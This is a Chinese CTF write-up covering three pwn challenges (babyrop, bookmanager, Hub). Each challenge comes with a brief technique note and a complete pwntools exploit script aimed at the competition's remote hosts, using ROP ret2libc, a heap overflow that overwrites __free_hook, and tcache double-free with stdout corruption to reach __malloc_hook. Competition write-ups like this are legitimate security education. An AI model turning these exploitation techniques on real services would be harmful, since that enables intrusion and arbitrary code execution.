太菜了，只做出了3道pwn

babyrop

• 利用'\x00'绕过strlen的检查，然后栈溢出rop

from pwn import *
context.log_level = 'debug'

#p = process('./babyrop')
p = remote('47.112.137.238',13337)
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')

#gdb.attach(p,'b *0x8048824')

payload = '\x00' + '\xff'*20
p.sendline(payload)

pop_ebx_ret = 0x08048519
puts_plt = elf.plt['puts']
write_got = elf.got['write']
main_addr = 0x08048825
payload = 'a'*0xe7 + p32(0xdeadbeef) + p32(puts_plt) + p32(pop_ebx_ret) + p32(write_got)
payload += p32(main_addr)
p.sendline(payload)
p.recvuntil('Correct\n')
write_addr = u32(p.recv(4))
info('write_addr : 0x%x'%write_addr)
# offset_write = 0x000d5b70
# offset_system = 0x0003ada0
# offset_str_bin_sh = 0x15ba0b
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh

payload = '\x00' + '\xff'*20
p.sendline(payload)

payload = 'a'*(0xf5-10)  + p32(system_addr) + p32(pop_ebx_ret) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

bookmanager

• 程序本身leak堆地址，update和new text的时候有堆溢出，利用堆溢出修改堆上指向text的指针来leak，然后利用类似手法来改free_hook为system

#coding:utf-8
from pwn import *
context.log_level = 'debug'

#p = process('./bookmanager')
p = remote('47.112.115.30',13337)

def sd(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def add_chapter(chap_name):
    ru('choice:')
    sl('1')
    ru('name:')
    sl(chap_name)

def add_section(chap_name,section_name):
    ru('choice:')
    sl('2')
    ru('add into:')
    sl(chap_name)
    ru('0x')
    leak_heap = int(p.recvuntil('\n',drop=True),16)
    ru(' name:')
    sl(section_name)
    return leak_heap

def add_text(section_name,text,text_size):
    ru('choice:')
    sl('3')
    ru('add into:')
    sl(section_name)
    ru('write:')
    sl(str(text_size))
    ru('Text:')
    sl(text)

def remove_chapter(chap_name):
    ru('choice:')
    sl('4')
    ru(' name:')
    sl(chap_name)

def remove_section(section_name):
    ru('choice:')
    sl('5')
    ru(' name:')
    sl(section_name)

def remove_text(section_name):
    ru('choice:')
    sl('6')
    ru(' name:')
    sl(section_name)

def book_preview():
    ru('choice:')
    sl('7')

def updata_text(section_name,text):
    ru('choice:')
    sl('8')
    ru('ection/Text):')
    sl('Text')
    ru(' name:')
    sl(section_name)
    ru('Text:')
    sd(text)

ru('create: ')
sl('d4rk3r')

add_chapter('a')
add_section('a','b1')
add_text('b1','c1',0x20)

leak_heap = add_section('a','b2')
info('leak heap : 0x%x'%leak_heap)
add_text('b2','c2',0x80)
add_section('a','b3')
#remove_section('b2')
remove_text('b2')
remove_section('b1')
add_section('a','b1')
payload = 'a'*80 + p64(leak_heap+0x40) + '\n'
#破坏了b2_section结构体
add_text('b1',payload,0x20)
book_preview()
ru('Text:')
ru('Text:')
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
info('main_arena+88 : 0x%x'%main_arena_88)
libc_base = main_arena_88 - 88 - 0x3c4b20
info('libc_base addr:0x%x'%libc_base)
free_hook = libc_base + 0x3c67a8
system_addr = libc_base + 0x45390
add_text('b3','c3',0x80)

add_section('a','b4')
add_text('b4','c4',0x20)
add_section('a','b5')
add_text('b5','c5',0x20)
payload = '/bin/sh\x00' + p64(0)*4 + p64(0x41) + p64(0x0000000000003562) 
payload += p64(0)*3 + p64(free_hook) + p64(0x20)
updata_text('b4',payload)
updata_text('b5',p64(system_addr))
remove_text('b4')

#gdb.attach(p)
p.interactive()

Hub

• 环境为18.04，所以有tcache，通过double free不断改fd分配一个chunk到stdout处，
  然后覆盖掉IO_FILE结构体_IO_write_base的低字节，并
  使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据
  以此leak libc(同时需要更改flags来绕过检测)，利用相同手法改malloc_hook为one_gadget

from pwn import *
context.log_level = 'debug'

#p = process('./hub')
p = remote('47.112.139.218',13132)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def sd(x):
    p.send(x)


def malloc(size):
    ru('>>')
    sl('1')
    ru('stay?\n')
    sl(str(size))

def free(index):
    ru('>>')
    sl('2')
    ru('want?\n')
    sl(str(index))

def write(data):
    ru('>>')
    sl('3')
    ru(' want?')
    sd(data)

def m2(size):
    sl('1')
    ru('stay?\n')
    sl(str(size))

def f2(index):
    sl('2')
    ru('want?\n')
    sl(str(index))

def w2(data):
    sl('3')
    ru(' want?')
    sd(data)

#change _IO_2_1_stdout_._flags
malloc(0x70)
malloc(0x70)
malloc(0x70)
free(-0x80)
free(-0x80)
malloc(0x70)
write(p64(0x602020))
malloc(0x70)
malloc(0x70)
malloc(0x70)
write(p64(0xfbad1887))

#change stdout -> _IO_write_base
malloc(0x10)
free(0)
free(0)
malloc(0x10)
write(p64(0x602020))
malloc(0x10)
malloc(0x10)
write('\x80')

#change _IO_write_base 1 bit -> '\x00', leak libc
m2(0x20)
f2(0)
f2(0)
m2(0x20)
w2(p64(0x602020))
m2(0x20)
m2(0x20)
m2(0x20)
w2('\x00')

ru('\x00'*8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 0x3ed8b0
info('leak_addr : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c

#change __malloc_hook -> one_gadget
m2(0x30)
f2(0)
f2(0)
m2(0x30)
w2(p64(malloc_hook))
m2(0x30)
m2(0x30)
w2(p64(one_gadget))

sl('1')
ru(' stay?\n')
sl('1')
#gdb.attach(p)

p.interactive()